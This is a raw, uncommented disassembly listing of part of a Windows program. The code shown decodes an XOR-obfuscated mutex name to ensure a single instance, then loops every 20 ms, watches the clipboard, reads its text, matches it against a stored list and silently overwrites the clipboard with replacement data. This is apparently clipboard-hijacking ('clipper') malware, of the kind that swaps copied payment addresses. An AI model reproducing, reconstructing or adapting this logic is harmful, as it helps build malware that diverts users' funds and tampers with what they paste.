cmovae rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000523f
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005239
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005239
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
nop
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x158]
call fcn.140005f30
lea rcx, [rbp + 0x160]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x1400052e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400052dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp + 0x130], xmm0
mov word [rbp + 0x120], di
mov rdx, qword [rbp + 0x118]
cmp rdx, 8
jb 0x140005341
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000533c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000533c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp + 0x110], xmm0
mov word [rbp + 0x100], di
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x1400053a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000539c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000539c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
xor eax, eax
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.14000f350
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x14000542a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005417
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005417
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov rdi, qword [rbp + 0x118]
mov rbx, qword [rbp + 0x100]
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp + 0x130], xmm0
mov word [rbp + 0x120], r13w
cmp rdi, 8
jb 0x140005480
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140005478
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005478
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000f6cc
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp + 0x110], xmm0
mov word [rbp + 0x100], r13w
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x1400054e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400054dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov byte [rsp + 0x40], 0x75
mov al, 0x17
mov cl, 0x20
mov dl, 0x1e
mov r8b, 0x3f
mov r9b, 0x5e
mov r10b, 0x11
movzx r11d, cl
movzx ebx, r8b
mov dil, 0xd
xor r14d, r14d
xor al, 0x75
mov byte [rsp + 0x41], al
xor cl, 0x75
mov byte [rsp + 0x42], cl
xor dl, 0x75
mov byte [rsp + 0x43], dl
xor r8b, 0x75
mov byte [rsp + 0x44], r8b
xor r9b, 0x75
mov byte [rsp + 0x45], r9b
xor r10b, 0x75
mov byte [rsp + 0x46], r10b
xor r11b, 0x75
mov byte [rsp + 0x47], r11b
xor bl, 0x75
mov byte [rsp + 0x48], bl
xor dil, 0x75
mov byte [rsp + 0x49], dil
mov byte [rsp + 0x4a], r14b
lea r8, [rsp + 0x41]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
movabs r15, 0x7fffffffffffffff
nop dword [rax]
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp dword [0x14003c9a0], eax
je 0x140005570
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140005570
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
bts esi, 0x12
mov r8, 0xffffffffffffffff
test rax, rax
je 0x1400055fc
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400055c5
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140006780
movups xmm0, xmmword [rbp + 0xe0]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movups xmmword [rbp + 0xc8], xmm1
jmp 0x140005638
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], r12
mov byte [rbp + 0xb8], 0
nop dword [rax + rax]
inc r8
cmp byte [r8 + r13], 0
jne 0x140005620
xor edx, edx
lea rcx, [rbp + 0xb8]
call fcn.140006780
mov byte [rbp + 0xd8], 1
mov r14, qword [rbp + 0xc8]
test r14, r14
je 0x140005985
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
lea rbx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0x10
cmovae rbx, qword [rbp + 0xb8]
cmp r14, 0x10
jae 0x140005697
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x98], xmm0
mov rdi, r12
mov qword [rbp + 0xb0], r12
jmp 0x14000570d
mov rdi, r14
or rdi, 0xf
cmp rdi, r15
cmova rdi, r15
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400056e1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400059b9
mov rcx, rax
call fcn.14000f370
mov rcx, rax
test rax, rax
je 0x1400059a1
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400056f0
test rcx, rcx
je 0x1400056ed
call fcn.14000f370
jmp 0x1400056f0
mov rax, r13
mov qword [rbp + 0x98], rax
lea r8, [r14 + 1]
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xa8], r14
mov rbx, qword [0x14003c9a8]
mov r15, qword [0x14003c9b0]
cmp rbx, r15
je 0x1400058bf
cmp qword [rbx + 0x38], 0
je 0x140005865
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r12
mov byte [rbp + 0xe0], 0
bts esi, 0x13
mov dword [rbp - 0x70], esi
lea r9, [rbp + 0x98]
cmp rdi, 0x10
cmovae r9, qword [rbp + 0x98]
add r9, r14
lea r8, [rbp + 0x98]
cmp rdi, 0x10
cmovae r8, qword [rbp + 0x98]
lea rax, [rbx + 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x80]
call fcn.140008a60
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x1400057e4
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000599a
call fcn.14000f6cc
movups xmm0, xmmword [rbp + 0xe0]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movups xmmword [rbp + 0xa8], xmm1
btr esi, 0x13
lea rdx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0x10
cmovae rdx, qword [rbp + 0xb8]
lea rcx, [rbp + 0x98]
movq r8, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rcx, r8
movq rdi, xmm1
cmp rdi, qword [rbp + 0xc8]
jne 0x14000586e
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000586e
mov rdi, qword [rbp + 0xb0]
mov r14, qword [rbp + 0xa8]
add rbx, 0x48
jmp 0x140005722
lea rdx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x1400058bf
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae rdx, qword [rbp + 0x98]
mov r8, qword [rbp + 0xa8]
inc r8
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14003c9a0], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140005913
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000590e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400059a1
call fcn.14000f6cc
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r12
mov byte [rbp + 0x98], 0
movabs r15, 0x7fffffffffffffff
cmp byte [rbp + 0xd8], 0
je 0x140005570
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x140005570
inc rdx
mov rcx, qword [rbp + 0xb8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000597b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400059a8
call fcn.14000f6cc
jmp 0x140005570
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14003c9a0], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
jmp 0x140005932
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, 1
jmp 0x1400053a3
call fcn.140002c90
int3